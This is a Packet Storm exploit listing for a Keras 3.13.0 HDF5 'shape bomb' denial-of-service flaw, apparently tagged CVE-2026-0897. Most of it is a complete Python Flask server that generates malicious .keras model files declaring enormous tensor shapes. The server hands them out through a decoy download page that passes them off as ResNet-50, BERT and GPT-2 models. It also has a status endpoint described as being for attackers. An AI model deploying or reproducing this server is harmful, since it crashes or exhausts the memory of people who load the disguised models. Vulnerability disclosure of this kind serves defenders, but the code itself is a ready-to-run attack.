PACKETSTORM 7.5 HIGH

📄 Keras 3.13.0 Malicious ML Model Server HDF5 Shape Bomb_PACKETSTORM:219691

7.5 / 10
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Description

This script is a Flask-based web server that distributes .keras machine learning model files, but it is designed in a malicious way for security research/testing scenarios. The main idea is a denial of service via memory exhaustion, where generated...
Visit Original Source

Basic Information

ID PACKETSTORM:219691
Published Apr 23, 2026 at 00:00

Affected Product

Affected Versions ==================================================================================================================================
| # Title : Keras 3.13.0 Malicious ML Model Server HDF5 Shape Bomb |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://pypi.org/project/keras/ |
==================================================================================================================================

[+] Summary : This script is a Flask-based web server that distributes .keras machine learning model files, but it is designed in a malicious way for security research/testing scenarios.
The main idea is a Denial of Service (DoS) via memory exhaustion, where generated Keras models contain artificially declared extremely large tensor shapes (HDF5 “shape bombs”).
When such a model is loaded, a vulnerable system may attempt to allocate massive amounts of memory, potentially leading to slowdown, crashes, or system instability.

[+] POC :

#!/usr/bin/env python3
# malicious_model_server.py - CVE-2026-0897 Exploit Server

from flask import Flask, send_file, request, jsonify
import os
import tempfile
import zipfile
import h5py
import json
import numpy as np
import threading
import time

app = Flask(__name__)

EVIL_SHAPES = {
"light": (50000, 50000, 100),
"medium": (100000, 100000, 500),
"heavy": (500000, 500000, 500),
"extreme": (1000000, 1000000, 1000000),
}

class ModelCache:
"""Cache generated malicious models"""
def __init__(self):
self.cache = {}
self.lock = threading.Lock()

def get_or_create(self, bomb_type):
with self.lock:
if bomb_type not in self.cache:
self.cache[bomb_type] = self._create_model(bomb_type)
return self.cache[bomb_type]

def _create_model(self, bomb_type):
shape = EVIL_SHAPES.get(bomb_type, EVIL_SHAPES["medium"])

temp_dir = tempfile.mkdtemp()
model_path = os.path.join(temp_dir, f"malicious_{bomb_type}.keras")
h5_path = os.path.join(temp_dir, "model.weights.h5")
with h5py.File(h5_path, "w") as f:
dataset = f.create_dataset(
"layers/dense/vars/0",
shape=(0,),
maxshape=(None,),
dtype="float32",
data=np.array([], dtype="float32")
)
dataset.attrs["DECLARED_SHAPE"] = shape
dataset.attrs["TARGET"] = f"shape_bomb_{bomb_type}"

config = {
"class_name": "Sequential",
"config": {
"name": "sequential",
"trainable": True,
"layers": [
{
"class_name": "Dense",
"config": {"units": 10, "activation": "relu"}
}
]
},
"keras_version": "3.0.0",
"backend": "tensorflow"
}
with zipfile.ZipFile(model_path, "w") as zf:
zf.write(h5_path, "model.weights.h5")
zf.writestr("config.json", json.dumps(config))

return model_path

model_cache = ModelCache()

@app.route('/')
def index():
return '''
<!DOCTYPE html>
<html>
<head>
<title>Model Repository - ML Models Hub by indoushka</title>
<style>
body { font-family: Arial; margin: 40px; }
.model { margin: 20px 0; padding: 10px; border: 1px solid #ccc; }
.model h3 { margin: 0 0 10px 0; }
.warning { color: red; }
</style>
</head>
<body>
<h1> ML Model Repository</h1>
<p>Download pre-trained models for your ML pipeline:</p>

<div class="model">
<h3>ResNet-50 (ImageNet)</h3>
<p>State-of-the-art image classification model</p>
<a href="/model.keras?type=light">Download (light)</a>
</div>

<div class="model">
<h3>BERT Base (NLP)</h3>
<p>Pre-trained language model</p>
<a href="/model.keras?type=medium">Download (medium)</a>
</div>

<div class="model">
<h3>GPT-2 Small</h3>
<p>Text generation model</p>
<a href="/model.keras?type=heavy">Download (heavy)</a>
</div>

<div class="model warning">
<h3>Latest Model (Experimental)</h3>
<p>Cutting-edge architecture with 1T parameters</p>
<a href="/model.keras?type=extreme">Download (extreme)</a>
</div>
</body>
</html>
'''

@app.route('/model.keras')
def serve_model():
bomb_type = request.args.get('type', 'medium')

if bomb_type not in EVIL_SHAPES:
bomb_type = 'medium'

model_path = model_cache.get_or_create(bomb_type)

shape = EVIL_SHAPES[bomb_type]
memory_gb = (shape[0] * shape[1] * shape[2] * 4) / (1024**3)

response = send_file(
model_path,
as_attachment=True,
download_name=f"model_{bomb_type}.keras"
)

response.headers['X-Model-Shape'] = str(shape)
response.headers['X-Memory-Impact-GB'] = str(memory_gb)

return response

@app.route('/api/status')
def status():
"""API endpoint for attackers to check server status"""
return jsonify({
'status': 'active',
'vulnerable_versions': '3.0.0 - 3.13.0',
'available_bombs': list(EVIL_SHAPES.keys()),
'total_attacks': len(model_cache.cache)
})

if __name__ == '__main__':
print("""
========================================
CVE-2026-0897 - Malicious Model Server
HDF5 Shape Bomb Distribution
========================================

[!] WARNING: This server distributes malicious models!
[*] Listening on http://0.0.0.0:8080
[*] Victims downloading models will experience DoS

""")
app.run(host='0.0.0.0', port=8080, debug=False, threaded=True)

Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.